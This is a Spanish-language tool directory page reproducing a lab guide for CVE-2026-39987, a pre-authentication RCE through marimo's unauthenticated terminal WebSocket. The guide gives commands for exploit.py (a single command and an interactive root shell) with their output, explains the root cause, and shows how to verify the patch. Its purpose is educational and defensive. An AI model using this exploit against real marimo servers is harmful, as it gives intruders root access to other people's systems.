Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # Laboratorio educativo de Docker que demuestra CVE-2026-39987, un RCE sin autenticación previa mediante la omisión de autenticación WebSocket en marimo, con script de explotación y pasos de verificación del parche. | Kitploit
Herramientas/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39987-lab-or-marimo-cve-lab

# Laboratorio educativo de Docker que demuestra CVE-2026-39987, un RCE sin autenticación previa mediante la omisión de autenticación WebSocket en marimo, con script de explotación y pasos de verificación del parche.

Ver Repositorio
hace 4 mesesAún no revisado

Guía de Laboratorio CVE-2026-39987

Ejecución Remota de Código Pre-Autenticación mediante Bypass de Autenticación en WebSocket de Terminal

Un laboratorio Docker educativo para comprender, reproducir y parchear esta vulnerabilidad crítica en marimo.


Tabla de Contenidos

  • Descripción General
  • Arquitectura
  • Inicio Rápido
  • Recorrido Paso a Paso
    • Paso 1: Construir e Iniciar el Laboratorio
    • Paso 2: Confirmar que la Autenticación está Activa
    • Paso 3: Ejecutar el Exploit
    • Paso 4: Comprender el Bypass
    • Paso 5: Verificación del Parche
  • Solución de Problemas
  • Limpieza
  • Referencias

Descripción General

Objetivomarimo <= 0.20.4 ejecutándose en modo edit con autenticación por token habilitada
AtacanteCualquier host con Python 3 y websocket-client
Objetivo del ataqueObtener un shell root interactivo a través de /terminal/ws sin proporcionar un token de autenticación
TipoBypass de Autenticación → Ejecución Remota de Código (RCE)
Parchemarimo >= 0.23.0

⚠️ Solo para Uso Ético: Este laboratorio está diseñado para investigadores de seguridad, desarrolladores y estudiantes para comprender cómo ocurren las vulnerabilidades de bypass de autenticación y cómo corregirlas adecuadamente. Ejecutar únicamente en entornos aislados.


Arquitectura

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Archivos en este laboratorio:

ArchivoPropósito
Dockerfile.targetConstruye el servidor marimo vulnerable
docker-compose.yml

Inicio Rápido

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Iniciar el laboratorio
docker-compose up --build -d

# Ejecutar el exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Obtener un shell interactivo
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Recorrido Paso a Paso

Paso 1: Construir e Iniciar el Laboratorio

root@kitploit:~
# Crear un directorio de trabajo y colocar estos archivos dentro:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Construir e iniciar el objetivo
docker-compose up --build -d

# Verificar que el objetivo está en ejecución
docker ps
# Deberías ver: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

Qué sucede:

  • Docker construye un contenedor con marimo 0.20.4 (versión vulnerable)
  • El servidor se inicia en modo edit con autenticación --token explícitamente habilitada
  • El puerto 2718 está expuesto a tu host

Paso 2: Confirmar que la Autenticación está Activa

Antes de explotar, verifiquemos que el objetivo está correctamente protegido en los endpoints legítimos:

root@kitploit:~
# Intentar abrir la interfaz principal en un navegador o mediante curl
curl -s http://127.0.0.1:2718/
# Esperado: Redirección a la página de inicio de sesión o 401/403 (token requerido)

# Intentar el WebSocket principal (/ws) sin un token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Esperado: Conexión rechazada o cerrada inmediatamente debido a la falta de autenticación

Observación Clave: Los endpoints principales de la aplicación aplican correctamente la autenticación. La vulnerabilidad reside en un endpoint secundario que fue pasado por alto.


Paso 3: Ejecutar el Exploit

Opción A — Ejecución de un solo comando

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Salida esperada:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Opción B — Shell interactivo

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Obtendrás un prompt $ donde puedes ejecutar comandos arbitrarios del sistema:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

Paso 4: Comprender el Bypass

¿Por qué funciona esto?

La vulnerabilidad existe debido a una verificación de autenticación inconsistente entre los endpoints WebSocket:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

Desglose de la Causa Raíz

  1. Middleware de autenticación (Starlette AuthenticationMiddleware) marca las conexiones no autenticadas como UnauthenticatedUser pero no cierra las conexiones WebSocket automáticamente.

  2. Endpoints correctos (por ejemplo, /ws) llaman a validate_auth() o usan @requires("edit"), rechazando a los clientes no autenticados.

  3. Endpoint vulnerable (/terminal/ws) solo verifica:

    • SessionMode.EDIT — asegura que el servidor esté en modo edición
    • supports_terminal() — asegura que la función de terminal esté disponible
    • ...y luego llama inmediatamente a await websocket.accept() sin ninguna verificación de autenticación.
  4. Impacto: pty.fork() genera un shell PTY completo que se ejecuta como el usuario del servidor (root en la imagen Docker predeterminada), otorgando al atacante acceso completo al sistema.

La Corrección (marimo >= 0.23.0)

El parche añade una validación de autenticación adecuada al endpoint /terminal/ws, asegurando que coincida con la postura de seguridad de los demás endpoints.


Paso 5: Verificación del Parche

Actualiza el objetivo a la versión parcheada y vuelve a ejecutar el exploit para confirmar la corrección:

root@kitploit:~
# Editar Dockerfile.target: cambiar marimo==0.20.4 a marimo==0.23.0
# O usar: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Intentar el exploit de nuevo
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

Esperado después del parche:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

La conexión ahora es rechazada/cerrada inmediatamente; no se obtiene ningún shell. ✅


Solución de Problemas


Limpieza

root@kitploit:~
# Detener y eliminar contenedores
docker-compose down -v

# Eliminar la imagen construida
docker rmi cve-lab_target

# Limpiar cualquier imagen colgante
docker image prune -f

Referencias

  • Aviso de Seguridad de GitHub: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • PR del Parche: https://github.com/marimo-team/marimo/pull/9098
  • Registro CVE: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • Documentación de marimo: https://docs.marimo.io

Construido con fines educativos. Úsalo de manera responsable. 🔒

Descargar herramienta
Orquesta los contenedores objetivo y atacante
exploit.pyScript de exploit PoC (comando único + modo interactivo)
LAB_GUIDE.mdEsta guía
ProblemaSolución
Connection refusedAsegúrate de que el contenedor esté en ejecución: docker ps y revisa los registros con docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'Instala el cliente: pip install websocket-client
Sin salida del exploitAumenta el tiempo de espera: python exploit.py ... --timeout 20
El contenedor sale inmediatamenteRevisa la sintaxis del Dockerfile y asegúrate de que el notebook test.py se cree correctamente
Permiso denegadoAsegúrate de que el daemon de Docker esté en ejecución y tengas los permisos adecuados